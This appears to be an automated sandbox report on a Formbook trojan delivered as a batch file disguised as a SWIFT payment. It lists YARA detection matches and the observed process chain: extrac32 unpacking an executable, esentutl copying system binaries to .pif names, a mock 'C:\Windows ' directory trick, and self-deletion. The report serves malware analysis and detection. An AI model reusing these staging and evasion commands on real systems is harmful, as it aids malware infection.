          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_1_00402D9011_1_00402D90
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_1_00409E5B11_1_00409E5B
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_1_00409E6011_1_00409E60
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_1_00402FB011_1_00402FB0
          Source: C:\Windows\explorer.exeCode function: 12_2_08D9223212_2_08D92232
          Source: C:\Windows\explorer.exeCode function: 12_2_08D8808212_2_08D88082
          Source: C:\Windows\explorer.exeCode function: 12_2_08D9103612_2_08D91036
          Source: C:\Windows\explorer.exeCode function: 12_2_08D955CD12_2_08D955CD
          Source: C:\Windows\explorer.exeCode function: 12_2_08D8F91212_2_08D8F912
          Source: C:\Windows\explorer.exeCode function: 12_2_08D89D0212_2_08D89D02
          Source: C:\Windows\explorer.exeCode function: 12_2_08D8CB3012_2_08D8CB30
          Source: C:\Windows\explorer.exeCode function: 12_2_08D8CB3212_2_08D8CB32
          Source: C:\Windows\explorer.exeCode function: 12_2_0E25D23212_2_0E25D232
          Source: C:\Windows\explorer.exeCode function: 12_2_0E257B3012_2_0E257B30
          Source: C:\Windows\explorer.exeCode function: 12_2_0E257B3212_2_0E257B32
          Source: C:\Windows\explorer.exeCode function: 12_2_0E25C03612_2_0E25C036
          Source: C:\Windows\explorer.exeCode function: 12_2_0E25308212_2_0E253082
          Source: C:\Windows\explorer.exeCode function: 12_2_0E254D0212_2_0E254D02
          Source: C:\Windows\explorer.exeCode function: 12_2_0E25A91212_2_0E25A912
          Source: C:\Windows\explorer.exeCode function: 12_2_0E2605CD12_2_0E2605CD
          Source: Joe Sandbox ViewDropped File: C:\Users\Public\Libraries\joedgvvL.pif 7BCDC2E607ABC65EF93AFD009C3048970D9E8D1C2A18FC571562396B13EBB301
          Source: C:\Users\user\AppData\Local\Temp\x.exeCode function: String function: 031D4500 appears 33 times
          Source: C:\Users\user\AppData\Local\Temp\x.exeCode function: String function: 031D4860 appears 949 times
          Source: C:\Users\user\AppData\Local\Temp\x.exeCode function: String function: 031D46D4 appears 244 times
          Source: C:\Users\user\AppData\Local\Temp\x.exeCode function: String function: 031E89D0 appears 45 times
          Source: C:\Users\user\AppData\Local\Temp\x.exeCode function: String function: 031E894C appears 56 times
          Source: C:\Users\user\AppData\Local\Temp\x.exeCode function: String function: 031D44DC appears 74 times
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: String function: 0041C1B0 appears 38 times
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: String function: 1DF4B970 appears 268 times
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: String function: 1DFA7E54 appears 89 times
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: String function: 1DFCEA12 appears 85 times
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: String function: 1DFDF290 appears 105 times
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: String function: 1DF95130 appears 36 times
          Source: 11.1.joedgvvL.pif.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: 11.1.joedgvvL.pif.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 11.1.joedgvvL.pif.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 11.2.joedgvvL.pif.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: 11.2.joedgvvL.pif.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 11.2.joedgvvL.pif.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 11.2.joedgvvL.pif.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: 11.2.joedgvvL.pif.400000.0.unpack, type: UNPACKEDPEMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 11.2.joedgvvL.pif.400000.0.unpack, type: UNPACKEDPEMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 11.1.joedgvvL.pif.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: 11.1.joedgvvL.pif.400000.0.unpack, type: UNPACKEDPEMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 11.1.joedgvvL.pif.400000.0.unpack, type: UNPACKEDPEMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 0000000B.00000002.2335559900.000000001DE60000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: 0000000B.00000002.2335559900.000000001DE60000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 0000000B.00000002.2335559900.000000001DE60000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 0000000B.00000001.2213802564.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: 0000000B.00000001.2213802564.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 0000000B.00000001.2213802564.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 0000000C.00000002.4586555413.0000000008DAA000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_772cc62d os = windows, severity = x86, creation_date = 2022-05-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8343b5d02d74791ba2d5d52d19a759f761de2b5470d935000bc27ea6c0633f5, id = 772cc62d-345c-42d8-97ab-f67e447ddca4, last_modified = 2022-07-18
          Source: 00000004.00000002.2251265510.0000000021C42000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: 00000004.00000002.2251265510.0000000021C42000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 00000004.00000002.2251265510.0000000021C42000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 0000000B.00000002.2335523108.000000001DE30000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: 0000000B.00000002.2335523108.000000001DE30000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 0000000B.00000002.2335523108.000000001DE30000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 0000000B.00000002.2313660201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: 0000000B.00000002.2313660201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 0000000B.00000002.2313660201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 0000000D.00000002.4578398893.0000000000A30000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: 0000000D.00000002.4578398893.0000000000A30000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 0000000D.00000002.4578398893.0000000000A30000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 0000000D.00000002.4578591711.0000000002C60000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: 0000000D.00000002.4578591711.0000000002C60000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 0000000D.00000002.4578591711.0000000002C60000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 0000000D.00000002.4578723016.0000000002DD0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: 0000000D.00000002.4578723016.0000000002DD0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 0000000D.00000002.4578723016.0000000002DD0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 00000004.00000002.2250459092.00000000216FA000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: 00000004.00000002.2250459092.00000000216FA000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 00000004.00000002.2250459092.00000000216FA000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: Process Memory Space: x.exe PID: 3544, type: MEMORYSTRMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: Process Memory Space: joedgvvL.pif PID: 2992, type: MEMORYSTRMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: Process Memory Space: explorer.exe PID: 4004, type: MEMORYSTRMatched rule: ironshell_php author = Neo23x0 Yara BRG + customization by Stefan -dfate- Molls, description = Semi-Auto-generated - file ironshell.php.txt, hash = 8bfa2eeb8a3ff6afc619258e39fded56
          Source: Process Memory Space: cscript.exe PID: 2912, type: MEMORYSTRMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: classification engineClassification label: mal100.troj.evad.winBAT@23/8@12/2
          Source: C:\Users\user\AppData\Local\Temp\x.exeCode function: 4_2_031D7FD4 GetDiskFreeSpaceA,4_2_031D7FD4
          Source: C:\Users\user\AppData\Local\Temp\x.exeCode function: 4_2_031E6DC8 CoCreateInstance,4_2_031E6DC8
          Source: C:\Users\user\AppData\Local\Temp\x.exeFile created: C:\Users\Public\Libraries\PNOJump to behavior
          Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3492:120:WilError_03
          Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3892:120:WilError_03
          Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2788:120:WilError_03
          Source: C:\Windows\System32\extrac32.exeFile created: C:\Users\user\AppData\Local\Temp\CAB01864.TMPJump to behavior
          Source: unknownProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\z1SWIFT_MT103_Payment_552016_cmd.bat" "
          Source: C:\Users\user\AppData\Local\Temp\x.exeKey opened: HKEY_CURRENT_USER\Software\Borland\Delphi\LocalesJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeKey opened: HKEY_CURRENT_USER\Software\Borland\Delphi\LocalesJump to behavior
          Source: C:\Windows\System32\extrac32.exeKey opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
          Source: z1SWIFT_MT103_Payment_552016_cmd.batReversingLabs: Detection: 42%
          Source: unknownProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\z1SWIFT_MT103_Payment_552016_cmd.bat" "
          Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
          Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\extrac32.exe extrac32 /y "C:\Users\user\Desktop\z1SWIFT_MT103_Payment_552016_cmd.bat" "C:\Users\user\AppData\Local\Temp\x.exe"
          Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\x.exe "C:\Users\user\AppData\Local\Temp\x.exe"
          Source: C:\Users\user\AppData\Local\Temp\x.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Libraries\joedgvvL.cmd" "
          Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
          Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\esentutl.exe C:\\Windows\\System32\\esentutl /y C:\\Windows\\System32\\cmd.exe /d C:\\Users\\Public\\alpha.pif /o
          Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\esentutl.exe C:\\Windows\\System32\\esentutl /y C:\\Windows\\System32\\ping.exe /d C:\\Users\\Public\\xpha.pif /o
          Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\Public\alpha.pif C:\\Users\\Public\\alpha.pif /c mkdir "\\?\C:\Windows "
          Source: C:\Users\user\AppData\Local\Temp\x.exeProcess created: C:\Users\Public\Libraries\joedgvvL.pif C:\Users\Public\Libraries\joedgvvL.pif
          Source: C:\Windows\explorer.exeProcess created: C:\Windows\SysWOW64\cscript.exe "C:\Windows\SysWOW64\cscript.exe"
          Source: C:\Windows\SysWOW64\cscript.exeProcess created: C:\Windows\SysWOW64\cmd.exe /c del "C:\Users\Public\Libraries\joedgvvL.pif"
          Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
          Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\extrac32.exe extrac32 /y "C:\Users\user\Desktop\z1SWIFT_MT103_Payment_552016_cmd.bat" "C:\Users\user\AppData\Local\Temp\x.exe" Jump to behavior
          Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\x.exe "C:\Users\user\AppData\Local\Temp\x.exe" Jump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Libraries\joedgvvL.cmd" "Jump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeProcess created: C:\Users\Public\Libraries\joedgvvL.pif C:\Users\Public\Libraries\joedgvvL.pifJump to behavior
          Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\esentutl.exe C:\\Windows\\System32\\esentutl /y C:\\Windows\\System32\\cmd.exe /d C:\\Users\\Public\\alpha.pif /oJump to behavior
          Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\esentutl.exe C:\\Windows\\System32\\esentutl /y C:\\Windows\\System32\\ping.exe /d C:\\Users\\Public\\xpha.pif /oJump to behavior
          Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\Public\alpha.pif C:\\Users\\Public\\alpha.pif /c mkdir "\\?\C:\Windows " Jump to behavior
          Source: C:\Windows\explorer.exeProcess created: C:\Windows\SysWOW64\cscript.exe "C:\Windows\SysWOW64\cscript.exe"Jump to behavior
          Source: C:\Windows\SysWOW64\cscript.exeProcess created: C:\Windows\SysWOW64\cmd.exe /c del "C:\Users\Public\Libraries\joedgvvL.pif"Jump to behavior
          Source: C:\Windows\System32\cmd.exeSection loaded: cmdext.dllJump to behavior
          Source: C:\Windows\System32\cmd.exeSection loaded: apphelp.dllJump to behavior
          Source: C:\Windows\System32\extrac32.exeSection loaded: cabinet.dllJump to behavior
          Source: C:\Windows\System32\extrac32.exeSection loaded: uxtheme.dllJump to behavior
          Source: C:\Windows\System32\extrac32.exeSection loaded: kernel.appcore.dllJump to behavior
          Source: C:\Windows\System32\extrac32.exeSection loaded: textinputframework.dllJump to behavior
          Source: C:\Windows\System32\extrac32.exeSection loaded: coreuicomponents.dllJump to behavior
          Source: C:\Windows\System32\extrac32.exeSection loaded: coremessaging.dllJump to behavior
          Source: C:\Windows\System32\extrac32.exeSection loaded: ntmarta.dllJump to behavior
          Source: C:\Windows\System32\extrac32.exeSection loaded: coremessaging.dllJump to behavior
          Source: C:\Windows\System32\extrac32.exeSection loaded: wintypes.dllJump to behavior
          Source: C:\Windows\System32\extrac32.exeSection loaded: wintypes.dllJump to behavior
          Source: C:\Windows\System32\extrac32.exeSection loaded: wintypes.dllJump to behavior
          Source: C:\Windows\System32\extrac32.exeSection loaded: textshaping.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: apphelp.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: version.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: uxtheme.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: url.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ieframe.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: iertutil.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: netapi32.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: userenv.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: winhttp.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: wkscli.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: netutils.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: wininet.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: sspicli.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: windows.storage.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: wldp.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: profapi.dllJump to behavior
